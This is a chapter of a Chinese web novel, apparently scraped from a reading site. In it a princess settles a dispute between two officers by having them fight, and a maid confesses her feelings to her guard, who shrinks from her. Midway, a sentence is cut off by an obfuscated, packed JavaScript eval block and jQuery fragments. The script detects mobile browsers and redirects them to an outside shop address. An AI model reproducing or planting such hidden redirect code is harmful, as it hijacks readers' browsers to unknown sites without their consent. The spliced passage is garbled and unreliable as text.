默认冷灰
24号文字
方正启体

35.逃避

作者:黄豆粥本书字数:K更新时间:
    黄钤显然被愤怒的林笙所惊。


    许长宁都没有反应,为何这宦官如此激动?


    他不敢冒犯许长宁跟前的人,只是挣开林笙的手,蹙眉道:“臣军法处置部下,有何不妥?”


    “那人……她、她怎么会!她不可能!”林笙急得语无伦次,又手足无措,只能以近乎哀求的眼神望向许长宁,向她求助,“殿下,她有护驾之功啊……”


    许长宁仍然平静,撑着脸望向黄钤:“人已经死了?”


    黄钤点头:“不处置他,臣无颜来见殿下。”


    “孤还有话要好好问她呢。”许长宁闭上眼,摁了摁眉心。


    林笙见许长宁丝毫不急,都要哭出来了,紧紧抱着怀里的包裹,恨不得砸黄钤一顿,可又觉着自己打不过他。


    “殿下……此人也有可能在撒谎……”他泪眼汪汪,给许长宁跪了下来,“请您明察……”


    “我为何要撒谎?”黄钤一听,不乐意了,“你是何人?为何要含血喷人?”


    “好了。”许长宁闭目养神片刻,再睁开眼时,眼神中尽是玩味,“既然各执一词,便让当事人出来辩一辩吧。”


    正争执的黄钤与林笙一愣,都怀疑自己听错了。


    可许长宁的一句“出来吧”过后,有一人从后庑走了出来。


    林笙一眼便看到了那道熟悉的疤痕,只是疤痕旁边,又添了几道新伤。


    “恩人!”他情不自禁地咧嘴笑了,心又开始在胸腔里狂跳。


    而黄钤与他一样,心脏在狂跳,可满眼都是惊愕。


    他指着李安然,结结巴巴说不出一句完整的话。


    “黄大人。”李安然目光冰冷,咬牙切齿地望着黄钤,“别来无恙。”


    黄钤破罐子破摔,怒斥道:“混账!你、你竟敢违抗我的命令,来此打扰殿下!简直、简直——”


    “不必费心思想说辞了,人是孤请来的。”许长宁不想听他吵闹,直接打断,“有趣的是,李果毅所言,与黄都尉的版本大不相同啊。”


    李安然双唇有些发白,身上多处伤痕,但仍中气十足,在许长宁面前跪下:“黄钤串通他人,在洛宸府兵中安排刺客,臣本想告知殿下,可担心被他拉来垫背的兄弟们有危险,便想着先归队安顿好兄弟们,然而黄钤以臣上百弟兄的性命为要挟,囚禁臣,动用私刑拷打臣,若非殿下派人来救,臣早已死无葬身之地了。请殿下明察!”


    “李安然谎话连篇,殿下莫要信他!”黄钤急忙大声道,“他甚至在身份上撒谎,他根本不是个男人,而是女子!”


    “是女子又如何?”许长宁眉梢一挑,“莫非黄都尉认为女子不可为官?”


    黄钤一哽,赶紧跪下:“臣不是这个意思!殿下恕罪!”


    许长宁望着面前跪着的二人,指尖在扶手上敲了起来。


    卫迟风捉拿了登上城楼的刺客后,悉数拷打审讯过了。


    如此多人,总有经不住折磨的。


    他们有人承认了自己洛宸府兵的身份,有人承认了曾为南衙十二卫中人。


    最重要的是,有人供出了南衙十二卫中,与谢家往来最为密切的,是金吾卫。


    而十二年前,负责与洛宸府兵一起看守船上皇子公主们寝殿的,也是金吾卫。


    许长宁知晓了这些消息,又看着卫迟风呈上来关于李安然的所有情报,心中忽然有了一个猜想。


    而现在正好是验证猜想的时机。


    “林笙,你说李果毅曾救过你的奶奶们,今晨又有护驾之功,即便身为女子,李果毅的武功当是极好的?”许长宁忽然问道。


    林笙猛地点头:“恩人迅猛如虎!”


    李安然:“?”


    这人是谁?


    方才便一直盯着她看,双眼可谓是闪闪发亮。


    许长宁指尖一顿,扬唇道:“既然如此,不如李果毅与黄都尉打一架,让孤瞧瞧,谁更胜一筹,孤便信谁。”


    “殿下,这、这不好——”黄钤话音未落,忽然有一拳头朝他急速挥来,尚未来得及躲避,整个人就被打飞了。


    结结实实摔到地上后,他狼狈抬头,看到了李安然极为兴奋的眼神,仿若一头刚被释放出铁笼的老虎。


    完了……


    *


    许长宁寝殿左侧的暖阁里,薛竹铃抱着母亲亲手缝制的小兔布偶,仍睡得极不安稳。


    她受惊过度,害起了热病,服了药后昏昏沉沉睡了许久。


    她梦到有凶兽追着她与许长宁跑,凶兽的牙齿都是箭矢与长剑,上面沾满了血,十分可怖。


    她在梦中极力奔逃,以至于腿频频抽动,一动,脚踝扭伤之处便会疼,一疼,她在噩梦中便陷得越深。


    忽然,她梦见自己的脚被什么拽住,动弹不得,她一转身,发现凶兽张开血盆大口,猛地朝她的脚咬过来!


    “不要!”薛竹铃猛地惊醒,看见榻边一道身影,正要再度尖叫,下一瞬却看清楚了眼前的人。


    卫迟风正轻轻握着她的脚踝,用一个热鸡蛋敷着。


    他表情有一瞬的凝固,似是被她的尖叫吓到了。


    “抱、抱歉……”他忙松开,将手背在身后,有些心虚,“我听你喊疼,便想着帮你缓缓……”


    薛竹铃刚从噩梦中醒来,看到卫迟风的脸,小嘴一扁,眼睛又红了。


    她抬起脚丫子,哽咽道:“疼……”


    言罢,小珍珠便哗啦啦掉了下来。


    卫迟风顿时慌了,想为她敷脚踝,又想为她擦眼泪,可左右手又无法兼顾,一时显得手忙脚乱。


    这反将薛竹铃逗乐了,她靠坐在床头,用小兔耳朵抹了把眼泪,让卫迟风只剩下一个选择。


    “你怎么不陪着殿下?”她带着鼻音问道。


    卫迟风坐在床尾,小心翼翼地为她热敷脚踝:“殿下让我陪着你。”


    薛竹铃感动得又要掉眼泪:“殿下最好了……”


    卫迟风抬眼看了她一眼,不知何处来的冲动,忽然问了一句:“那我呢?”


    薛竹铃一怔,吸吸鼻子,随即笑出了两个小酒窝:“卫迟风第二好。”


    卫迟风抿抿嘴,随即垂下头继续为她揉鸡蛋。


    他偷偷地扬了扬嘴角。


    “对了,你可查清刺客的事了?”薛竹铃抱紧了小兔布偶,“是不是……皇后娘娘安排的……”


    卫迟风轻叹一声,他也为此苦恼。


    “我该如何说,殿下才不会难过?”


    薛竹铃垂下眼,看向怀里尽是缝补痕迹的小兔,叹气道:“若真是娘娘,无论你如何说出花来,殿下一定会很伤心的……”


    那可是殿下的母亲啊……


    明明前几日,她们还那般亲昵……


    而且,她也将皇后娘娘视为母亲般的存在,她手中的布偶,在阿娘病逝后,都是由李令舒亲手修补


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983046|189670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的。


    一针一线,缝合了她失去母亲后的伤口。


    一想到日后甚至不可再信任李令舒,她也甚是难过。


    但无论怎么说,与她最亲近的,仍是许长宁。


    没有了李令舒,她仍有许长宁护着。


    可许长宁若没有了李令舒,在这朝堂中,便真的无依无靠了。


    真正的家人死的死,昏迷的昏迷,唯一的母亲,竟帮着她的仇家对付她……


    “殿下好可怜……”薛竹铃扁扁嘴,眼泪又在眼眶里打转了。


    为不让自己再哭一顿,她尝试转移注意力,摸索枕边,又四处张望,却没能找到她要寻之物。


    “我的匕首呢?”她问道。


    “我再为你改良一下。”卫迟风将凉了的鸡蛋放下,为薛竹铃的脚丫子盖好褥子,“让它再厉害一些。”


    “已经十分厉害了,再厉害的话,你还不如送我一把剑别在腰间算了。”薛竹铃打趣道。


    “你若想要,我便送你。”卫迟风却十分认真,“只是长剑不如匕首好看。”


    薛竹铃见他如此,眨眨眼道:“卫迟风,你会一直保护我的,对吧。”


    “一定。”卫迟风郑重点头。


    “那我要漂亮的匕首。”薛竹铃扬起一个笑。


    卫迟风正要说好,忽然听她小声再补了一句。


    “和一个你。”


    他的心忽地一颤,猛然撞入薛竹铃水盈盈的双眸中。


    她说……要他……


    卫迟风下意识去攥剑柄,却发现自己并未佩剑,手一时摸空了。


    薛竹铃看到了他的反应,以及那近乎躲避的眼神,目光渐渐淡了下去。


    也不知他是迟钝,还是故意的。


    明明……她已表现得十分明显了……


    薛竹铃默默抱紧小兔布偶,朝床榻内侧别过头,不想再看卫迟风。


    卫迟风心乱不已,回过神时后知后觉,才发现她生气了。


    薛竹铃一般生气,会用她淬了毒的小嘴骂人,更生气一些,会直接动手揍人。


    到了最生气的境界,却是不理人。


    卫迟风有些心虚,伸手扯了扯她的袖子。


    薛竹铃就是侧着头不理他。


    真的生气了……


    他攥紧了衣角,始终不敢回应,只支支吾吾道:“竹铃,你还病着,不要生气……”


    “你出去吧,我现在不想看到你。”薛竹铃腮帮子硬邦邦的,可见将牙关咬得很紧。


    卫迟风沉默片刻,终还是起身拿上剑,离开了暖阁。


    他轻轻关上门,靠坐在门前,手里紧攥着绑在剑上的铃铛,缓缓闭上了眼。


    他看见了爹娘守在床边,对着他流泪的模样,看见了他们浑身是血,颤抖着对他说对不起的模样。


    他看见他们屠戮生命,又看见他们被屠戮。


    他如何能够,洗清浑身的血污?


    又如何能够,接受如此纯洁的情意?


    他很清楚这一切,可是他的心,却总是不受控。


    犹如手心里的铃铛,一丝风吹草动,便叮当作响。


    他该怎么办……


    薛竹铃望着透过门缝落在地上的一线月光,看见那道一直守在门外的身影,愈发气闷。


    她抬手狠狠抹了把眼泪,扔下了一句狠话。


    “卫迟风你这个大混蛋!我再也不理你了!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)